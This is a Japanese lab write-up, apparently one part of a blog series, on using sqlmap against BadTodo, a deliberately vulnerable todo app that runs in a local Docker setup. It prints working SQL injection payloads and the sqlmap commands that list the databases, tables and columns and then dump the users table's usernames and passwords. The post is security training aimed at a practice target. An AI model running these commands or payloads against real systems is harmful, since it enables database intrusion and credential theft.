やられアプリ BadTodo - 3.8 SQLインジェクション sqlmapを使ってみる

前回:やられアプリ BadTodo - 3.7 SQLインジェクション idパラメータに対して - demandosigno

sqlmap はSQLインジェクションを検出するためのオープンソースのテストツールです。
sqlmap: automatic SQL injection and database takeover tool

これまでの検査でDB名やテーブル名など一通り分かっていますが sqlmapでも試してみます。

前提

Docker版 BadTodoを対象としているので、Kali LinuxをDocker Desktopでインストールし、Kali からslqmapを実行しました。
手っ取り早く試すならBadTodo自体にsqlmapをインストールし127.0.0.1を対象として検査してみるで良いかと思います。
https://github.com/sqlmapproject/sqlmap
Kali LinuxをDocker Desktopにインストールする - demandosigno
Dockerコンテナ間での通信を行えるようにする - demandosigno

Todo検索画面でのSQLインジェクションを試します。
対象リクエストGET http://172.19.0.2/todo/todolist.php?key=test

コンテナ名かIPで検査対象との疎通確認。

┌──(kali㉿d617763b20cd)-[~]
└─$ ping -c 2 badtodo-apache
PING badtodo-apache (172.19.0.2) 56(84) bytes of data.
64 bytes from badtodo-apache.kali_badtodo (172.19.0.2): icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from badtodo-apache.kali_badtodo (172.19.0.2): icmp_seq=2 ttl=64 time=0.055 ms
 
┌──(kali㉿d617763b20cd)-[~]
└─$ ping -c 2 172.19.0.2
PING 172.19.0.2 (172.19.0.2) 56(84) bytes of data.
64 bytes from 172.19.0.2: icmp_seq=1 ttl=64 time=0.062 ms
64 bytes from 172.19.0.2: icmp_seq=2 ttl=64 time=0.044 ms

sqlmap実行

-u : 検査対象のURL

$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test"
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.7.11#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

~(中略)~
[WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit](c を入力してEnter)
~(中略)~
[INFO] testing for SQL injection on GET parameter 'key'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n](y を選択)
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n](y を選択)
~(中略)~
[INFO] GET parameter 'key' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'key' is vulnerable. Do you want to keep testing the others (if any)? [y/N] (y を選択)

sqlmap identified the following injection point(s) with a total of 44 HTTP(s) requests:
---
Parameter: key (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: key=test' AND 7963=7963 AND 'UBDs'='UBDs

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: key=test' AND (SELECT 1614 FROM(SELECT COUNT(*),CONCAT(0x716a766a71,(SELECT (ELT(1614=1614,1))),0x71706a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'LTbU'='LTbU

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: key=test';SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: key=test' AND (SELECT 2318 FROM (SELECT(SLEEP(5)))rmbe) AND 'soVa'='soVa

    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: key=test' UNION ALL SELECT NULL,CONCAT(0x716a766a71,0x41624b6a6354784b4244754574526e52694c685a7a77485852544b505a4464576d71434f68574451,0x71706a7a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[20:38:34] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.57, PHP 5.3.3
back-end DBMS: MySQL >= 5.0 (MariaDB fork)

DBMS は MySQL"key"パラメータに各種SQLインジェクションを指摘されています。
ここでは Time-based blind SQLインジェクションを試してみます。

例の通り入力
test' AND (SELECT 2318 FROM (SELECT(SLEEP(5)))rmbe) AND 'soVa'='soVa 送信。

レスポンスが返ってくるのに少し時間がかかります。
BurpのRepeaterに回し、再送信してみます。

レスポンスに5,100ms≒5秒かかっており、SQL文が実行されたことが分かります。

一般的な検査方法

--dbs : 発見したデータベース一覧を列挙する
--proxy : 今回はリクエストの中身を見るため BurpSuiteを経由させる
--dbms : 指定したDBに絞って攻撃

$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --proxy="http://127.0.0.1:8080" --dbms=MySQL --dbs
~(中略)~
fetching database names
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] todo

-D : 使用するDBを指定
--tables : テーブル一覧を列挙

$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --proxy="http://127.0.0.1:8080" --dbms=MySQL -D todo --tables
~(中略)~
[INFO] fetching tables for database: 'todo'
Database: todo
[3 tables]
+---------+
| session |
| todos   |
| users   |
+---------+

-T : 使用するテーブル
--columns : カラム一覧を列挙

$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --proxy="http://127.0.0.1:8080" --dbms=MySQL -D todo -T users --columns
~(中略)~
[INFO] fetching columns for table 'users' in database 'todo'
Database: todo
Table: users
[6 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| super  | int(11)      |
| email  | varchar(64)  |
| icon   | varchar(128) |
| id     | int(11)      |
| pwd    | varchar(6)   |
| userid | varchar(64)  |
+--------+--------------+

-C : テーブルのカラムを指定
--dump : DBMSデータベースのテーブルエントリをダンプする

$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --proxy="http://127.0.0.1:8080" --dbms=MySQL -D todo -T users -C userid,pwd --dump
~(中略)~
[INFO] fetching entries of column(s) 'pwd,userid' for table 'users' in database 'todo'
Database: todo
Table: users
[2 entries]
+---------+--------+
| userid  | pwd    |
+---------+--------+
| admin   | passwd |
| wasbook | wasboo |
+---------+--------+

POSTリクエストの場合(例:Todoを削除するリクエスト)

--data : POSTボディパラメータ
cookie : ログインしているユーザのcookie
--csrf-token : CSRFトークン名
--csrf-url : トークンが取得できるURL

$ sqlmap -u "http://172.19.0.2/todo/editlist.php" --data="todotoken=f4184427b0e98edf52d877ee6f8126c6&id%5B%5D=7&process=dellist" cookie="0cd2c678b144d6cc49c4d35c238cf382" --proxy="http://127.0.0.1:8080" --csrf-token="todotoken" --csrf-url="http://172.19.0.2/todo/todolist.php" --dbms=MySQL
~(中略)~
[CRITICAL] all tested parameters do not appear to be injectable.

この例ではSQLインジェクションは見つかりませんでした。

補足

[WARNING] target URL content is not stable :
ターゲットURLのコンテンツが安定していない。リクエスト毎にレスポンスの差異が大きいという判定。レスポンスの差分を検知することでSQLインジェクションの判定を行うため(通常レスポンスと大きく異なるということは何かしらSQL文の実行結果が表示された可能性がある)、そもそもの通常リクエストが安定していないと検知に支障が出るようです。しかし sqlmapには不安定なターゲットに由来する潜在的な "ノイズ "を自動的に除去する高度なメカニズムがあるそうなので「(C)ontinue」で問題ないようです。安定している場合は "URL Content is stable." となります。

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
ターゲットが特定の DBMS を使用していることが明確に示されている場合、通常のテストだけでなく特定の DBMS に対するテストを拡張することも可能です。
これは基本的に、その特定の DBMS に対してすべての SQL インジェクションのペイロードを実行することを意味します。
(risk は 1~3、level は 1~5 がある)
レベル2ではHTTP Cookieヘッダーのテストが追加され、レベル3ではHTTP User-Agent/Refererヘッダーが追加される。
リスク値 2 はデフォルトのレベルにクエリ時間ベースの重いSQLインジェクションのテストを追加し、3はOR ベースのSQLインジェクションのテストも追加する。

--level 1 --risk 1: 53 requests --level 2 --risk 1: 342 requests
--level 3 --risk 1: 1080 requests
--level 4 --risk 1: 2060 requests
--level 5 --risk 1: 3280 requests
When increasing to --risk 3, the number of tests increases further:

--level 1 --risk 3: 112 requests
--level 2 --risk 3: 646 requests
--level 3 --risk 3: 2160 requests
--level 4 --risk 3: 4320 requests
--level 5 --risk 3: 7850 requests
sql injection - What are the consequences of increasing the "--risk" option of sqlmap? - Information Security Stack Exchange

[CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
Proxyが影響している場合がある。検査対象をProxy経由で見ている場合はProxyを外す。または --proxy オプションを正しく使用する。

[WARNING] time-based comparison requires larger statistical model, please wait.. (done)
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[警告]時間ベースの比較には、より大きな統計モデルが必要です。
少なくとも1つの他の(可能性のある)テクニックが見つからない場合は、基本的なUNIONテストのみを実行することをお勧めします。リクエスト数を減らしますか?[Y/n]

再検査を行う時は --flush-session オプションを付ける。
例 $ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --flush-session

https://book.hacktricks.xyz/v/jp/pentesting-web/sql-injection/sqlmap
Step 13: SQLMap Essentials. Apologies everyone, been a couple of… | by Josh Gates | Medium
ハッカーはsqlmapでSQLインジェクションの欠陥を検出する(Kali Linux) | AIを武器にホワイトハッカーになる

次回:やられアプリ BadTodo - 3.9 SQLインジェクション 対策方法 - demandosigno

/* -----codeの行番号----- */